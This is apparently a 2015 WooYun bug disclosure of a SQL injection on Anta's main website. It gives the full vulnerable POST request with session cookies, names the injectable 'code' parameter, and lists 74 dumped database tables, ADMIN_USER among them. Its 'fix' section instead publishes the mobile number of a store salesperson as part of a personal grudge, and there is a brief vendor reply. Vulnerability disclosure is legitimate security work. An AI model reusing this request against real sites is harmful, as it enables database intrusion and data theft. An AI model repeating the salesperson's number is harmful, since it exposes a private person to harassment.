漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0115163
漏洞标题：安踏主站SQL注入漏洞
相关厂商：anta.com
漏洞作者： 路人甲
提交时间：2015-05-20 16:08
修复时间：2015-07-09 09:10
公开时间：2015-07-09 09:10
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-20： 细节已通知厂商并且等待厂商处理中
2015-05-25： 厂商已经确认，细节仅向厂商公开
2015-06-04： 细节向核心白帽子及相关领域专家公开
2015-06-14： 细节向普通白帽子公开
2015-06-24： 细节向实习白帽子公开
2015-07-09： 细节向公众公开
简要描述：
安踏主站SQL注入漏洞（安踏史各庄专卖被坑，还我真爱）
详细说明：
主站SQL注入漏洞
POST /point/point_exchange_back.php HTTP/1.1
Host: www.anta.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.anta.com/point/point_exchange.php
Cookie: _ga=GA1.2.1268332839.1432090382; CNZZDATA1254856861=1801452969-1432087643-%7C1432098539; _gat=1; UID=1010973; MAIL=3090526358%40qq.com; SID=SJ4oZ709LgkCRCYh1EtABA%3D%3D; LTS=1432707502; NICK=111; validate_key=7cede9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
code=bj8v&vcode=d36d
注入参数 code
漏洞证明：
当前数据库 ANTA
Database: ANTA
[74 tables]
+--------------------------+
| A |
| AA |
| ACT_0603_ADD |
| ACT_0603_IMG |
| ACT_0603_OTHER |
| ACT_0603_REWARD |
| ACT_0603_SEND_LOG |
| ACT_0603_SHARE_LOG |
| ACT_0603_SHOW |
| ACT_0603_SIGNUP |
| ACT_0603_SIGNUP_CODE |
| ACT_0603_SIGNUP_MOBILE |
| ADMIN_USER |
| AD_HOSTS |
| AD_TRACKER_0 |
| ANTA_BADGE |
| ANTA_BADGE_LOG |
| ANTA_BEFOCUS_0 |
| ANTA_BEFOCUS_1 |
| ANTA_BEFOCUS_2 |
| ANTA_BEFOCUS_3 |
| ANTA_BEFOCUS_4 |
| ANTA_BEFOCUS_6 |
| ANTA_BEFOCUS_7 |
| ANTA_BEFOCUS_8 |
| ANTA_BEFOCUS_9 |
| ANTA_EMAIL_CHECK |
| ANTA_EVENT |
| ANTA_EXCHANGE_RATE |
| ANTA_FOCUS_0 |
| ANTA_FOCUS_1 |
| ANTA_FOCUS_2 |
| ANTA_FOCUS_3 |
| ANTA_FOCUS_4 |
| ANTA_FOCUS_5 |
| ANTA_FOCUS_6 |
| ANTA_FOCUS_7 |
| ANTA_FOCUS_8 |
| ANTA_FOCUS_9 |
| ANTA_INVITE_LOG |
| ANTA_MEMBERS |
| ANTA_MEMBERS_NICK4SEARCH |
| ANTA_MEMBER_STATISTIC |
| ANTA_MYFAV |
| ANTA_NEWS |
| ANTA_POINT_CONFIG |
| ANTA_POINT_REWARD |
| ANTA_POINT_REWARD_LOG |
| ANTA_POINT_THIRD_CARD |
| ANTA_PRI_IBOX |
| ANTA_PRI_OBOX |
| ANTA_REGISTER |
| ANTA_REGISTER_OLD |
| ANTA_TALK |
| ANTA_TALK_CHECK |
| ANTA_TALK_COMMENT_0 |
| ANTA_TALK_COMMENT_1 |
| ANTA_TALK_COMMENT_2 |
| ANTA_TALK_COMMENT_3 |
| ANTA_TALK_COMMENT_4 |
| ANTA_TALK_COMMENT_5 |
| ANTA_TALK_COMMENT_6 |
| ANTA_TALK_COMMENT_7 |
| ANTA_TALK_COMMENT_8 |
| ANTA_TALK_COMMENT_9 |
| ANTA_TALK_COMMENT_IBOX_0 |
| ANTA_TALK_COMMENT_IBOX_1 |
| ANTA_TALK_COMMENT_IBOX_2 |
| ANTA_TALK_COMMENT_IBOX_3 |
| ANTA_TALK_COMMENT_IBOX_4 |
| ANTA_TALK_COMMENT_IBOX_5 |
| ANTA_TALK_COMMENT_IBOX_6 |
| ANTA_TALK_COMMENT_IBOX_7 |
| ANTA_TALK_COMMENT_IBOX_8 |
+--------------------------+
修复方案：
5.20 请还我真爱
安踏史各庄专卖营业员手机号
13601110452
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2015-05-25 09:09
厂商回复：
感谢您关注安踏的信息安全，你的问题己让客服联系你处理。如对安踏产品有任何问题，请拔打客服热线400－850－6000
最新状态：
暂无